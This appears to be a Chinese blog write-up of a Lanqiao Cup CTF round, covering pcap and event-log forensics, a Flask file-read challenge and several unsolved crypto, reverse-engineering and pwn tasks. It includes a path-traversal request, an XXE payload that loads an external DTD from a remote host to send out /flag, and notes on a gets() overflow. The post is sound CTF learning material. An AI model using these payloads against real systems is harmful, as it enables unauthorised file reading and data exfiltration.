{% note info %}
先吐槽一波:初赛不让上网查资料是人打的嘛,真就初赛即决赛???还不是传统出题法,你那堆分类谁第一眼能看出来是什么题目啊???

我不信这比赛没有人用黄色版 CTF-all-in-One 好吧,一题出来了以后一堆人跟着出,一分钟内零解题出 5 个人是吧
然后说是不让用网,结果又发通知说有一题可以用 =-=

好好好玩我呢是吧
累了,事不过三,以后不报蓝桥了。蓝桥参加第三次了,前两次 Python 算法,今年第一次参加网安,太抽象了
我 TM 周末早八起来到底是为了啥哟 (┬_┬)
我的评价是:不如 CCSSSC,人平台虽然屎但是人比赛办的还不错啊,建议你下次别办
{% endnote %}
【数据分析】flowzip
There are many zip files.
打开流量包发现大量 HTTP 请求,里面包含 100 个 zip 文件
{% note success %}
高端的食材,往往只需要最朴素的烹饪方式
{% endnote %}
直接用 strings 提取
strings .\flowzip.pcapng | grep flag得到
jpkwz.txtflag{c6db63e6-6459-4e75-bb37-3aec5d2b947b}PK所以 flag 为 flag{c6db63e6-6459-4e75-bb37-3aec5d2b947b}
【数据分析】ezEvtx
EVTX文件是Windows操作系统生成的事件日志文件,用于记录系统、应用程序和安全事件。
(本题需要选手找出攻击者访问成功的一个敏感文件,提交格式为flag{文件名},其中文件名不包含文件路径,且包含文件后缀)
用 ELX 打开,搜索 access an object 就得到了

访问的文件为 C:\Admin\confidential.docx,所以 flag 为 flag{confidential.docx}
【情报收集】黑客密室逃脱
你被困在了顶级黑客精心设计的数字牢笼中,每一道关卡都暗藏致命陷阱!唯一的逃脱之路,是破解散落在服务器各处的加密线索,找到最终的“数字钥匙”。
开局让我们看日志

访问得到线索

线索1:d9d1c4d9e0aac39b98b09d996961a39895ab92a893a4c6a69969656da09c94a399a6c1a395da6b6b63b1
秘密区域告诉我们有文件读取

输入 /file?name=../../../../../../app/app.py 得到源码
import osfrom flask import Flask, request, render_templatefrom config import *# author: gamelab
app = Flask(__name__)
# 模拟敏感信息sensitive_info = SENSITIVE_INFO
# 加密密钥encryption_key = ENCRYPTION_KEY
def simple_encrypt(text, key): encrypted = bytearray() for i in range(len(text)): char = text[i] key_char = key[i % len(key)] encrypted.append(ord(char) + ord(key_char)) return encrypted.hex()
encrypted_sensitive_info = simple_encrypt(sensitive_info, encryption_key)
# 模拟日志文件内容log_content = f"用户访问了 /secret 页面,可能试图获取 {encrypted_sensitive_info}"
# 模拟隐藏文件内容hidden_file_content = f"解密密钥: {encryption_key}"
# 指定安全的文件根目录SAFE_ROOT_DIR = os.path.abspath('/app')with open(os.path.join(SAFE_ROOT_DIR, 'hidden.txt'), 'w') as f: f.write(hidden_file_content)
@app.route('/')def index(): return render_template('index.html')
@app.route('/logs')def logs(): return render_template('logs.html', log_content=log_content)
@app.route('/secret')def secret(): return render_template('secret.html')
@app.route('/file')def file(): file_name = request.args.get('name') if not file_name: return render_template('no_file_name.html') full_path = os.path.abspath(os.path.join(SAFE_ROOT_DIR, file_name)) if not full_path.startswith(SAFE_ROOT_DIR) or 'config' in full_path: return render_template('no_premission.html') try: with open(full_path, 'r') as f: content = f.read() return render_template('file_content.html', content=content) except FileNotFoundError: return render_template('file_not_found.html')
if __name__ == '__main__': app.run(debug=True, host='0.0.0.0')debug = True,想访问 /console,打不开
看到有 hidden.txt
# 指定安全的文件根目录SAFE_ROOT_DIR = os.path.abspath('/app')with open(os.path.join(SAFE_ROOT_DIR, 'hidden.txt'), 'w') as f: f.write(hidden_file_content)得到解密密钥

根据题目给的 simple_encrypt 函数
def simple_encrypt(text, key): encrypted = bytearray() for i in range(len(text)): char = text[i] key_char = key[i % len(key)] # key=secret_key7434 len(key)=14 key_char=从左到右依次取 encrypted.append(ord(char) + ord(key_char)) return encrypted.hex()自己写一个解密的脚本
SECRET = bytearray.fromhex('d9d1c4d9e0aac39b98b09d996961a39895ab92a893a4c6a69969656da09c94a399a6c1a395da6b6b63b1')
key = "secret_key7434"
decrypted = bytearray()
for i in range(len(SECRET)): char = SECRET[i] key_char = key[i % len(key)] decrypted.append(char - ord(key_char))
print(decrypted)解出来得到 flag

flag{6d037fe6-0329-449a-b529-71142b80a470}
【数据库安全】crawler(未出)
一个简单的爬虫系统,测测它的安全问题吧!
是一个用 PHP 写的系统,Cookie 里面有 PHPSESSID

打开是个登录页面,发现只有使用用户名为 admin 登录的时候会弹提示为 ❌ 用户名或密码错误,其他用户名都是 ❌ 登录失败


爆破不出来,尝试一下 sql 注入,用 sqlmap 浅浅测一下,发现 sqlmap 说无法注入

那好吧,我确实没思路了
【密码破解】easy_AES(未出)
题目采用的是传统的AES加密,但是其中的key似乎可以通过爆破得到,你能找到其中的问题,解密出敏感数据吗?
题目给了源码
from Crypto.Cipher import AES # 导入AES加密模块from secret import flag # 从secret模块导入flag(假设为明文)import random, os # 导入random和os模块用于随机数生成
# 为消息填充字节,使其长度为16的倍数def pad(msg): return msg + bytes([16 - len(msg) % 16 for _ in range(16 - len(msg) % 16)])
# 对密钥进行随机置换,生成新密钥def permutation(key): tables = [hex(_)[2:] for _ in range(16)] # 生成0-15的十六进制表(去掉"0x"前缀) random.shuffle(tables) # 随机打乱表 newkey = "".join(tables[int(key[_], 16)] for _ in range(len(key))) # 根据原密钥生成新密钥 return newkey
# 生成初始密钥key0及其置换密钥key1def gen(): key0 = os.urandom(16).hex() # 随机生成16字节密钥并转为十六进制字符串 key1 = permutation(key0) # 对key0进行置换生成key1 return key0, key1
# 使用key0和key1进行双重AES加密def encrypt(key0, key1, msg): aes0 = AES.new(key0, AES.MODE_CBC, key1) # 用key0加密,key1作为CBC模式的IV aes1 = AES.new(key1, AES.MODE_CBC, key0) # 用key1解密,key0作为CBC模式的IV return aes1.decrypt(aes0.encrypt(msg)) # 先加密后解密生成密文
# 生成密钥对key0, key1 = gen()a0, a1 = int(key0, 16), int(key1, 16) # 将密钥转为整数
gift = a0 & a1 # 计算key0和key1的按位与,作为泄露信息cipher = encrypt(bytes.fromhex(key0), bytes.fromhex(key1), pad(flag)) # 加密填充后的flag
print(f"gift = {gift}")print(f"key1 = {key1}")print(f"cipher = {cipher}")
'''gift = 64698960125130294692475067384121553664key1 = 74aeb356c6eb74f364cd316497c0f714cipher = b'6\xbf\x9b\xb1\x93\x14\x82\x9a\xa4\xc2\xaf\xd0L\xad\xbb5\x0e|>\x8c|\xf0^dl~X\xc7R\xcaZ\xab\x16\xbe r\xf6Pl\xe0\x93\xfc)\x0e\x93\x8e\xd3\xd6''''{% note info %}
出题人是不是懒得写代码了,这代码 AI 味也太浓了,连 (假设为明文) 都出来了(第二行)
{% endnote %}
首先可以看到题目生成了一对密钥,其中 key0 是随机生成的,key1 是通过 key0 中的内容随机编排而成的
然后再加密解密的过程中,key0 和 key1 会分别作为密钥和向量 iv 进行加解密,过程大概是
对 msg 用 key=key0, iv=key1 进行 AES 加密,在对结果用 key=key1, iv=key0 进行 AES 解密,得到了题目给我们的 cipher
cipher = b'6\xbf\x9b\xb1\x93\x14\x82\x9a\xa4\xc2\xaf\xd0L\xad\xbb5\x0e|>\x8c|\xf0^dl~X\xc7R\xcaZ\xab\x16\xbe r\xf6Pl\xe0\x93\xfc)\x0e\x93\x8e\xd3\xd6'
所以如果要反着来,就得要用 key=key1, iv=key0 先进行 AES 加密,再对其结果用 key=key0, iv=key1 进行 AES 解密才能得到我们的明文
然后现在的问题是 key0 未知,题目说可以爆破,但是题目给的条件说实话我不太会用
题目给了个 gift,然后这个 gift 是通过 a0 & a1 产生的(按位与)
然后?就么有然后了……真不会利用这个 gift
【密码破解】ECBTrain(未出)
AES的ECB模式存在很明显的缺陷。你能否尝试以admin身份完成本题挑战?
题目给了容器,nc 进去有注册、登录、退出三个选项
╰─ nc 39.105.2.63 20628 _____ _____ ______ _____ _| ___/ __ \| ___ \_ _| (_)| |__ | / \/| |_/ / | |_ __ __ _ _ _ __| __|| | | ___ \ | | '__/ _` | | '_ \| |___| \__/\| |_/ / | | | | (_| | | | | |\____/ \____/\____/ \_/_| \__,_|_|_| |_|
请选择操作:1. 注册2. 登录3. 退出请输入选项编号:其中,注册不能够以用户名 admin 注册,我先用用户名 user,密码 123 注册得到
请输入选项编号: 1请输入用户名: user请输入密码: 123注册成功!你的auth为: eHDaWi860uwUt/Khad7iSw==而当我用登录,会这么说
请选择操作:1. 注册2. 登录3. 退出请输入选项编号: 2若是能以admin身份登录就给你flag。请输入auth: eHDaWi860uwUt/Khad7iSw==登录成功!你是以 user 身份登录也就是说登录跟密码一点关系都没有,我们要做的是利用 ECB 模式的缺陷,使得我们的 auth 变成 admin 的 auth
那么问题来了 ECB 的缺陷是什么???(不让上网查呀我没办法呀)
【密码破解】Enigma(未出)
Enigma是20世纪早期由德国工程师Arthur Scherbius设计的一款便携式机械加密设备,旨在为需要高安全性通信的场景提供加密保护。其核心原理基于可旋转的机械转子、反射器和接线板的组合,通过复杂的电路转换实现对明文的加密与解密。
(本题需要选手还原成原文字母,提交格式为flag{原文字母},其中原文字母为全英文大写,且去掉空格。)
布什戈门?这 tm 是个啥哟???
题目给了一个 html 文件,打开是赛博厨子(设定好的)

没懂这是什么原理,又不让查,下一个
【漏洞挖掘分析】星际XML解析器(未出)
你已进入星际数据的世界,输入XML数据,启动解析程序,探索未知的数据奥秘!
打开是一个网页

确实实现了 xml 的解析,我开始在想是不是 XXE(因为 ADCTF 做过一道 XXE),先浅浅地拿 ADCTF 的 payload 来试试(虽然远程文件不存在)
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE ANY [<!ENTITY % file SYSTEM "file:///flag"><!ENTITY % dtd SYSTEM "https://org.bili33.top/CTFTMP/try.dtd">%dtd;%send;]><reg><name>11</name><tel>22</tel><email>33</email></reg>然后就报错了

看来并不是 XXE 那一套,还是不给查,我也没办法
【逆向分析】ShadowPhases(未出)
在调查一起跨国数据泄露事件时,你的团队在暗网论坛发现一组被称作’三影密匣’的加密缓存文件。据匿名线报,这些文件采用上世纪某情报机构开发的“三重影位算法”,关键数据被分割为三个相位,每个相位使用不同的影位密钥混淆。威胁分析显示,若不能在48小时内还原原始信息,某关键基础设施的访问密钥将被永久销毁。逆向工程师的日志残页显示:‘相位间存在密钥共鸣,但需警惕内存中的镜像陷阱..
先惯例拖进 IDA 看看有没有什么线索,但是我没看出来
int __fastcall main(int argc, const char **argv, const char **envp){ char Str1[128]; // [rsp+30h] [rbp-50h] BYREF char Str2[128]; // [rsp+B0h] [rbp+30h] BYREF void *v6; // [rsp+130h] [rbp+B0h] void *v7; // [rsp+138h] [rbp+B8h] void *v8; // [rsp+140h] [rbp+C0h] void *v9; // [rsp+150h] [rbp+D0h] void *v10; // [rsp+158h] [rbp+D8h] void *v11; // [rsp+160h] [rbp+E0h] char v12[13]; // [rsp+16Eh] [rbp+EEh] BYREF char v13[15]; // [rsp+17Bh] [rbp+FBh] BYREF char Src[5]; // [rsp+18Ah] [rbp+10Ah] BYREF char v15[9]; // [rsp+18Fh] [rbp+10Fh] BYREF void *v16; // [rsp+198h] [rbp+118h] void *v17; // [rsp+1A0h] [rbp+120h] void *Block; // [rsp+1A8h] [rbp+128h] char v19[6]; // [rsp+1B2h] [rbp+132h] BYREF size_t v20; // [rsp+1B8h] [rbp+138h] size_t v21; // [rsp+1C0h] [rbp+140h] size_t Size; // [rsp+1C8h] [rbp+148h]
sub_401B10(); Src[0] = 0; // src = [0, 5, -125, 0x80, -114] Src[1] = 5; Src[2] = -125; Src[3] = 0x80; Src[4] = -114; strcpy(v15, "+"); v15[2] = -125; // v15 = ["+", -125, 47, -86, 43, -127, -88, -91] v15[3] = 47; v15[4] = -86; v15[5] = 43; v15[6] = -127; v15[7] = -88; v15[8] = -91; Size = 14i64; v13[0] = 19; // v13 = [19, 57, -66, -66, -76, 56, -72, -70, -69, -96, 62, -112, 58, -70, -76] v13[1] = 57; v13[2] = -66; v13[3] = -66; v13[4] = -76; v13[5] = 56; v13[6] = -72; v13[7] = -70; v13[8] = -69; v13[9] = -76; v13[10] = 62; v13[11] = -112; v13[12] = 58; v13[13] = -70; v13[14] = -76; v21 = 15i64; v12[0] = -117; // v12 = [-117, -119, 3, 4, -120, -117, 32, 9, 34, -120, 8, -115, -120, -81] v12[1] = -119; v12[2] = 34; v12[3] = -120; v12[4] = -117; v12[5] = 32; v12[6] = 9; v12[7] = 34; v12[8] = -120; v12[9] = 8; v12[10] = -115; v12[11] = -120; v12[12] = -81; v20 = 13i64; v19[5] = -103; // v19 = ['"', "D", "f", -1, -35, -103] v19[4] = -35; v19[3] = -1; qmemcpy(v19, "\"Df", 3); Block = malloc(0xFui64); v17 = malloc(v21 + 1); v16 = malloc(v20 + 1); if ( !Block || !v17 || !v16 ) { puts(&Buffer); exit(1); } memcpy(Block, Src, Size); memcpy(v17, v13, v21); memcpy(v16, v12, v20); sub_4015B6((__int64)Block, Size, v19[2]); sub_4015B6((__int64)v17, v21, v19[1]); sub_4015B6((__int64)v16, v20, v19[0]); *((_BYTE *)Block + Size) = 0; *((_BYTE *)v17 + v21) = 0; *((_BYTE *)v16 + v20) = 0; v9 = v17; v10 = v16; v11 = Block; v6 = Block; v7 = v17; v8 = v16; sub_401550(Str2, 0x80ui64, "%s%s%s", (const char *)Block, (const char *)v17, (const char *)v16); printf(&Format); scanf("%127s", Str1); if ( !strcmp(Str1, Str2) ) puts(&byte_40502A); else puts(&byte_405031); free(Block); free(v17); free(v16); return 0;}【逆向分析】BashBreaker(未出)
赛博考古学界流传着一个传说——人工智能先驱艾琳·巴什博士在自杀前,将毕生研究的核心算法封存在了他的量子实验室中。这个实验室遵循古老的巴什博弈协议,唯有通过15枚光子硬币的智慧试炼,才能唤醒沉睡的实验室AI。
简单来说这就是在 15 步的步程内,双方都可以选择走 1~3 步,谁先走到终点谁就赢了
int __fastcall main(int argc, const char **argv, const char **envp){ unsigned int v3; // eax int v5[2]; // [rsp+2Ch] [rbp-14h] BYREF unsigned int i; // [rsp+34h] [rbp-Ch] int v7; // [rsp+38h] [rbp-8h] int v8; // [rsp+3Ch] [rbp-4h]
_main(argc, argv, envp); v8 = 15; v3 = time(0i64); srand(v3); puts("You want my treasure? You can have it all if you want it. Go find it! I hid the treasure chest in the program"); puts("Number of remaining steps: 15 | 1 to 3 steps per round | The first one to get to the KEY\n"); v5[1] = 0; while ( v8 > 0 ) { printf("Remaining steps: [%d]\n", (unsigned int)v8); do { printf("Number of steps (1-3): "); while ( scanf("%d", v5) != 1 ) { printf("Input error, please re-enter: "); while ( getchar() != 10 ) ; } if ( v5[0] > 0 && v5[0] <= 3 ) { if ( v8 < v5[0] ) printf(aNotEnoughSteps, (unsigned int)v8); } else { puts(aMustTake13Step); } } while ( v5[0] <= 0 || v5[0] > 3 || v8 < v5[0] ); v8 -= v5[0]; printf("* Player walks %d steps, remaining %d\n\n", (unsigned int)v5[0], (unsigned int)v8); if ( v8 <= 0 ) { full_decrypt(); puts("This is your KEY. You deserve it ! !"); for ( i = 0; i <= 0x2F; ++i ) printf("%02X", real_key[i]); break; } v7 = calculate_best_move((unsigned int)v8); if ( v7 <= 0 || v7 > 3 ) v7 = 1; if ( v7 > v8 ) v7 = v8; v8 -= v7; printf("* The AI takes %d steps, remaining %d\n\n", (unsigned int)v7, (unsigned int)v8); if ( v8 <= 0 ) puts("This treasure does not belong to you. Go back, Boy"); } printf("\nGame over ! "); system("pause"); return 0;}在 calculate_best_move 函数中能够看到对手的逻辑
__int64 __fastcall calculate_best_move(int a1){ if ( a1 <= 0 ) return 0i64; if ( a1 % 4 ) return (unsigned int)(a1 % 4); if ( a1 == 4 ) return 3i64; if ( a1 == 8 ) return 3i64; return (unsigned int)(rand() % 3 + 1);}如果剩余的步数小于等于 0,返回 0;如果 a1 % 4 != 0,就返回余数,如果 a1 == 4 或者 a1 == 8,就返回 3,其他时候返回一个随机的步数
我相信这一题肯定不会是让你真的来做完这个游戏的,但是我也不知道咋做
【漏洞挖掘分析】RuneBreach(未出)
你是一名穿越到异世界的勇者,正面临最终决战!邪恶的 Boss 即将占领你的王国,唯一的机会就是利用传说中的“漏洞之剑”击败它。
然而,Boss 在战场上布下了魔法沙箱结界,禁止你使用常规的“召唤术”!你必须找到结界中的弱点,注入符文,才能给予 Boss 致命一击!
这个题目里面说到”魔法沙箱结界”,我在想是不是沙箱逃逸
拖进 IDA 看一眼,在函数 battle_loop 里面有战斗相关的逻辑
void __noreturn battle_loop(){ unsigned int v0; // eax char v1; // [rsp+3h] [rbp-1Dh] int v2; // [rsp+4h] [rbp-1Ch] unsigned int v3; // [rsp+8h] [rbp-18h] int v4; // [rsp+10h] [rbp-10h] int v5; // [rsp+18h] [rbp-8h]
v4 = 100; v5 = 150; v2 = 1; puts("\n==== BOSS BATTLE START ===="); while ( 1 ) { v0 = v2++; printf("\n-- Round %d --\n", v0); printf("Player HP: %d | Boss HP: %d\n", (unsigned int)v4, (unsigned int)v5); v3 = (int)(((double)v4 / 200.0 + 0.5) * (double)20); printf("You attack! Damage: %d\n", v3); v5 -= v3; if ( v5 <= 0 ) break; printf("\nDefend? (y/N): "); v1 = getchar(); while ( getchar() != 10 ) ; if ( v1 == 121 || v1 == 89 ) { v4 -= 7; printf("You defend! Damage reduced: %d\n", 15LL); } else { v4 -= 30; printf("No defense! Damage taken: %d\n", 30LL); } if ( v4 <= 0 ) { puts("\n[System] Game Over..."); boss_victory(); exit(0); } } puts("\n[System] Boss defeated!"); victory_message(); exit(0);}然后如果打败了 Boss,会让你说胜利宣言,此时在 victory_message 函数里面获取输入用的是 gets
unsigned __int64 victory_message(){ char v1[40]; // [rsp+0h] [rbp-30h] BYREF unsigned __int64 v2; // [rsp+28h] [rbp-8h]
v2 = __readfsqword(0x28u); printf("[System] Enter victory comment: "); gets(v1); printf("Your comment: %s\n", v1); return __readfsqword(0x28u) ^ v2;}然后 v1 的长度是 40,所以暂且认为这里有一个栈溢出
然后再看输了的逻辑,Boss 会说这块领地是它的了,然后会告诉你这块领地(内存)的地址(但其实程序最开始也告诉你了)
__int64 boss_victory(){ void *addr; // [rsp+0h] [rbp-10h]
addr = (void *)(exec_area & 0xFFFFFFFFFFFFF000LL); if ( mprotect((void *)(exec_area & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 7) == -1 ) { perror("mprotect failed"); exit(1); } printf("[BOSS] Your place is mine now %p!\n", addr); printf("[BOSS] Say your last word to your territory: "); read(0, addr, 1056uLL); return ((__int64 (*)(void))addr)();}这里用的是 read 读取,看起来没有什么可以用的,而且 addr 是一个指针
所以大概率能利用的是那个栈溢出,但是我没有找到 vuln 那种可利用的函数
【漏洞挖掘分析】Jdbc_once(未出)
Fenjing是一款为CTF比赛设计的自动化脚本,专注于Jinja SSTI漏洞利用,旨在绕过WAF。它能自动攻击指定网站或接口,省去手动测试和fuzz WAF的时间。通过智能生成payload,支持编码混淆、字符替换等绕过技术。来用Fenjing测一测你的网站是否存在安全问题吧。
(题目同时开放了8888端口和80端口,该题目允许使用互联网辅助答题,不允许使用AI作答)
这就是公告里面说可以查的那一体,焚靖确实可以自动化测 SSTI,打开题目提供的 8888 端口就是一个焚靖,但是如果我们直接访问 80 端口就会被拦住,提示 Only 127.0.0.1,而我修改标头也没有绕过这一点
但是用焚靖就可以访问

没明白这题想要干嘛,说实话
总结
我太菜了(呜呜呜
蓝桥初赛断网抽象归抽象,但说到底还是有点储备不足了……咱确实也不是全栈爷 =-=
但是但是,事不过三,蓝桥肯定不会有下一次了,我绝对不会再报蓝桥了,本来是想要弄点比赛加分才打的,但是后面发现这玩意在我们学校加分挺少的,而且报个名还有 300 块,所以肯!定!不!会!再!有!下!次!了!